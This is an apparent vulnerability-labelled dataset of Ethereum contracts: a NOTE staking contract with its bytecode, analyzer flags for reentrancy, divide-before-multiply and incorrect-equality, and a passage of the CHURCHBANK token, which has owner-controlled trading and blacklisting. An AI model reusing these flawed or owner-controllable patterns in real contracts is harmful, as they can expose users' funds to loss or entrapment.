uint256 public afterSecondYearRate = 10;
uint256 public firstYearStakingPeriod = 48 hours;
uint256 public secondYearStakingPeriod = 24 hours;
uint256 public afterSecondYearStakingPeriod = 12 hours;
uint256 private contractStartDate;
address constant NOTE = 0xe3D23780718567AC62E8089dE297487Ce0780080;
struct DepositedToken{
bool Exist;
uint256 activeDeposit;
uint256 totalDeposits;
uint256 startTime;
uint256 pendingGains;
uint256 lastClaimedDate;
uint256 totalGained;
address referrer;
}
mapping(address => DepositedToken) users;
event Staked(address staker, uint256 tokens);
event AddedToExistingStake(uint256 tokens);
event TokensClaimed(address claimer, uint256 stakedTokens);
event RewardClaimed(address claimer, uint256 reward);
//#########################################################################################################################################################//
//####################################################STAKING EXTERNAL FUNCTIONS###########################################################################//
//#########################################################################################################################################################//
constructor() public{
contractStartDate = block.timestamp;
}
// ------------------------------------------------------------------------
// Start staking
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function STAKE(uint256 _amount, address _referrerID) public {
require(_referrerID == address(0) || users[_referrerID].Exist, "Invalid Referrer Id");
require(_amount > 0, "Invalid amount");
// add new stake
_newDeposit(NOTE, _amount, _referrerID);
// update referral reward
_updateReferralReward(_amount, _referrerID);
// transfer tokens from user to the contract balance
require(ERC20Interface(NOTE).transferFrom(msg.sender, address(this), _amount));
emit Staked(msg.sender, _amount);
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimStakedTokens() external {
require(users[msg.sender].activeDeposit > 0, "no running stake");
uint256 _penaltyFee = 0;
if(users[msg.sender].startTime + latestStakingPeriod() > now){ // claiming before lock up time
_penaltyFee = penaltyFee;
}
uint256 toTransfer = users[msg.sender].activeDeposit.sub(_onePercent(users[msg.sender].activeDeposit).mul(_penaltyFee));
// transfer staked tokens - apply 5% penalty and send back staked tokens
require(ERC20Interface(NOTE).transfer(msg.sender, toTransfer));
// check if we have any pending reward, add it to pendingGains var
users[msg.sender].pendingGains = pendingReward(msg.sender);
emit TokensClaimed(msg.sender, toTransfer);
// update amount
users[msg.sender].activeDeposit = 0;
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public {
require(pendingReward(msg.sender) > 0, "nothing pending to claim");
// transfer the reward to the claimer
require(ERC20Interface(NOTE).transfer(msg.sender, pendingReward(msg.sender)));
emit RewardClaimed(msg.sender, pendingReward(msg.sender));
// add claimed reward to global stats
totalRewards = totalRewards.add(pendingReward(msg.sender));
// add the reward to total claimed rewards
users[msg.sender].totalGained = users[msg.sender].totalGained.add(pendingReward(msg.sender));
// update lastClaim amount
users[msg.sender].lastClaimedDate = now;
// reset previous rewards
users[msg.sender].pendingGains = 0;
}
//#########################################################################################################################################################//
//####################################################STAKING QUERIES######################################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function pendingReward(address _caller) public view returns(uint256 _pendingReward){
uint256 _totalStakedTime = 0;
uint256 expiryDate = (latestStakingPeriod()).add(users[_caller].startTime);
if(now < expiryDate)
_totalStakedTime = now.sub(users[_caller].lastClaimedDate);
else{
if(users[_caller].lastClaimedDate >= expiryDate) // if claimed after expirydate already
_totalStakedTime = 0;
else
_totalStakedTime = expiryDate.sub(users[_caller].lastClaimedDate);
}
uint256 _reward_token_second = ((latestStakingRate()).mul(10 ** 21)).div(365 days); // added extra 10^21
uint256 reward = ((users[_caller].activeDeposit).mul(_totalStakedTime.mul(_reward_token_second))).div(10 ** 23); // remove extra 10^21 // the two extra 10^2 is for 100 (%)
return (reward.add(users[_caller].pendingGains));
}
// ------------------------------------------------------------------------
// Query to get the active stake of the user
// ------------------------------------------------------------------------
function yourActiveStake(address _user) public view returns(uint256 _activeStake){
return users[_user].activeDeposit;
}
// ------------------------------------------------------------------------
// Query to get the total stakes of the user
// ------------------------------------------------------------------------
function yourTotalStakesTillToday(address _user) public view returns(uint256 _totalStakes){
return users[_user].totalDeposits;
}
// ------------------------------------------------------------------------
// Query to get the time of last stake of user
// ------------------------------------------------------------------------
function StakedOn(address _user) public view returns(uint256 _unixLastStakedTime){
return users[_user].startTime;
}
// ------------------------------------------------------------------------
// Query to get total earned rewards from stake
// ------------------------------------------------------------------------
function totalStakeRewardsClaimedTillToday(address _user) public view returns(uint256 _totalEarned){
return users[_user].totalGained;
}
// ------------------------------------------------------------------------
// Query to get the staking rate
// ------------------------------------------------------------------------
function latestStakingRate() public view returns(uint256 APY){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 rate;
if(yearOfContract == 1)
rate = firstYearRate;
else if(yearOfContract == 2)
rate = secondYearRate;
else
rate = afterSecondYearRate;
return rate;
}
// ------------------------------------------------------------------------
// Query to get the staking period
// ------------------------------------------------------------------------
function latestStakingPeriod() public view returns(uint256 Period){
uint256 yearOfContract = (((block.timestamp).sub(contractStartDate)).div(365 days)).add(1);
uint256 period;
if(yearOfContract == 1)
period = firstYearStakingPeriod;
else if(yearOfContract == 2)
period = secondYearStakingPeriod;
else
period = afterSecondYearStakingPeriod;
return period;
}
// ------------------------------------------------------------------------
// Query to get the staking time left
// ------------------------------------------------------------------------
function stakingTimeLeft(address _user) public view returns(uint256 _secsLeft){
if(users[_user].activeDeposit > 0){
uint256 left = 0;
uint256 expiryDate = (latestStakingPeriod()).add(StakedOn(_user));
if(now < expiryDate)
left = expiryDate.sub(now);
return left;
}
else
return 0;
}
//#########################################################################################################################################################//
//################################################################COMMON UTILITIES#########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Internal function to add new deposit
// ------------------------------------------------------------------------
function _newDeposit(address _tokenAddress, uint256 _amount, address _referrerID) internal{
require(users[msg.sender].activeDeposit == 0, "Already running");
require(_tokenAddress == NOTE, "Only NOTE tokens supported");
// add that token into the contract balance
// check if we have any pending reward, add it to pendingGains variable
users[msg.sender].pendingGains = pendingReward(msg.sender);
users[msg.sender].activeDeposit = _amount;
users[msg.sender].totalDeposits = users[msg.sender].totalDeposits.add(_amount);
users[msg.sender].startTime = now;
users[msg.sender].lastClaimedDate = now;
users[msg.sender].referrer = _referrerID;
users[msg.sender].Exist = true;
totalStakes = totalStakes.add(_amount);
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function _onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Updates the reward for referrer
// ------------------------------------------------------------------------
function _updateReferralReward(uint256 _amount, address _referrerID) private{
users[_referrerID].pendingGains += _onePercent(_amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063b61aa7c7116100b8578063c66703941161007c578063c6670394146103fd578063dec1b9dc1461041b578063e350b8e414610439578063e4598ee214610487578063f2fde38b146104df578063f40f0f521461052357610142565b8063b61aa7c7146102cd578063bd7b219414610325578063bf9befb11461032f578063c2ef64be1461034d578063c3b893d5146103a557610142565b806374c1c8ba1161010a57806374c1c8ba1461021757806379372f9a146102355780638a5062621461023f5780638c28cb721461025d5780638da5cb5b1461027b5780639472d38a146102af57610142565b80630e15561a14610147578063376285b0146101655780633dc10ad41461018357806367f7ab2b146101a157806368314654146101bf575b600080fd5b61014f61057b565b6040518082815260200191505060405180910390f35b61016d610581565b6040518082815260200191505060405180910390f35b61018b610587565b6040518082815260200191505060405180910390f35b6101a961058d565b6040518082815260200191505060405180910390f35b610201600480360360208110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610593565b6040518082815260200191505060405180910390f35b61021f6105df565b6040518082815260200191505060405180910390f35b61023d610659565b005b61024761095c565b6040518082815260200191505060405180910390f35b610265610962565b6040518082815260200191505060405180910390f35b6102836109dc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102b7610a00565b6040518082815260200191505060405180910390f35b61030f600480360360208110156102e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a06565b6040518082815260200191505060405180910390f35b61032d610a52565b005b610337610dd3565b6040518082815260200191505060405180910390f35b61038f6004803603602081101561036357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd9565b6040518082815260200191505060405180910390f35b6103e7600480360360208110156103bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e25565b6040518082815260200191505060405180910390f35b610405610eca565b6040518082815260200191505060405180910390f35b610423610ed0565b6040518082815260200191505060405180910390f35b6104856004803603604081101561044f57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b005b6104c96004803603602081101561049d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ae565b6040518082815260200191505060405180910390f35b610521600480360360208110156104f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fa565b005b6105656004803603602081101561053957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ef565b6040518082815260200191505060405180910390f35b60025481565b60095481565b60015481565b60065481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b60008061062060016106126301e13380610604600a544261158990919063ffffffff16565b6115a090919063ffffffff16565b6115b990919063ffffffff16565b905060006001821415610637576004549050610651565b600282141561064a576005549050610650565b60065490505b5b809250505090565b6000610664336112ef565b116106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f6e6f7468696e672070656e64696e6720746f20636c61696d000000000000000081525060200191505060405180910390fd5b73e3d23780718567ac62e8089de297487ce078008073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610711336112ef565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b81019080805190602001909291905050506107a857600080fd5b7f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f7241336107d3336112ef565b604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1610822610811336112ef565b6002546115b990919063ffffffff16565b600281905550610885610834336112ef565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601546115b990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819055506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550565b60075481565b6000806109a360016109956301e13380610987600a544261158990919063ffffffff16565b6115a090919063ffffffff16565b6115b990919063ffffffff16565b9050600060018214156109ba5760075490506109d4565b60028214156109cd5760085490506109d3565b60095490505b5b809250505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601549050919050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411610b0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6e6f2072756e6e696e67207374616b650000000000000000000000000000000081525060200191505060405180910390fd5b600042610b15610962565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154011115610b655760015490505b6000610c18610bc783610bb9600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546115d5565b61162990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461158990919063ffffffff16565b905073e3d23780718567ac62e8089de297487ce078008073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c9f57600080fd5b505af1158015610cb3573d6000803e3d6000fd5b505050506040513d6020811015610cc957600080fd5b8101908080519060200190929190505050610ce357600080fd5b610cec336112ef565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055507f896e034966eaaf1adc54acc0f257056febbd300c9e47182cf761982cf1f5e4303382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b60035481565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541115610ec057600080610e96610e80856111ae565b610e88610962565b6115b990919063ffffffff16565b905080421015610eb657610eb3428261158990919063ffffffff16565b91505b8192505050610ec5565b600090505b919050565b60055481565b60085481565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610f5d5750600b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff165b610fcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e76616c69642052656665727265722049640000000000000000000000000081525060200191505060405180910390fd5b60008211611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f496e76616c696420616d6f756e7400000000000000000000000000000000000081525060200191505060405180910390fd5b61106473e3d23780718567ac62e8089de297487ce07800808383611660565b61106e8282611a88565b73e3d23780718567ac62e8089de297487ce078008073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561111157600080fd5b505af1158015611125573d6000803e3d6000fd5b505050506040513d602081101561113b57600080fd5b810190808051906020019092919050505061115557600080fd5b7f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d3383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461125257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600080600090506000611354600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154611346610962565b6115b990919063ffffffff16565b9050804210156113ba576113b3600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501544261158990919063ffffffff16565b9150611465565b80600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501541061140c5760009150611464565b611461600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501548261158990919063ffffffff16565b91505b5b60006114a06301e13380611492683635c9adc5dea000006114846105df565b61162990919063ffffffff16565b6115a090919063ffffffff16565b9050600061152769152d02c7e14af68000006115196114c8858861162990919063ffffffff16565b600b60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461162990919063ffffffff16565b6115a090919063ffffffff16565b905061157e600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154826115b990919063ffffffff16565b945050505050919050565b60008282111561159557fe5b818303905092915050565b6000808284816115ac57fe5b0490508091505092915050565b6000808284019050838110156115cb57fe5b8091505092915050565b6000806115ec606484611ae490919063ffffffff16565b9050600061161d6002600a0a60640261160f60648561162990919063ffffffff16565b6115a090919063ffffffff16565b90508092505050919050565b60008083141561163c576000905061165a565b600082840290508284828161164d57fe5b041461165557fe5b809150505b92915050565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f416c72656164792072756e6e696e67000000000000000000000000000000000081525060200191505060405180910390fd5b73e3d23780718567ac62e8089de297487ce078008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4f6e6c79204e4f544520746f6b656e7320737570706f7274656400000000000081525060200191505060405180910390fd5b6117d6336112ef565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018190555081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506118b882600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546115b990919063ffffffff16565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005018190555080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060070160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908315150217905550611a7d826003546115b990919063ffffffff16565b600381905550505050565b611a91826115d5565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055505050565b6000818260018486010381611af557fe5b040290509291505056fea2646970667358221220e39ffebbf3bfcc02ca6fc9c3c5123e4192fb5f0a177d0a970345a35f6949ced764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,567 |
0x6e4751705de73f6712b8d43804871d1f95c7ce90
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/*
Every 7 hours 100% of the marketing wallet will be used to purchase Church DAO , entirely distributed to holders
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CHURCHBANK is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Bank Of Church";//////////////////////////
string private constant _symbol = "CHURCH BANK";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 0;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 5;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2C9B25B9Ee2Dc80Ba631d7333c32b9bA2ef6eF16);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x2C9B25B9Ee2Dc80Ba631d7333c32b9bA2ef6eF16);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //1%
uint256 public _maxWalletSize = 30000000000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
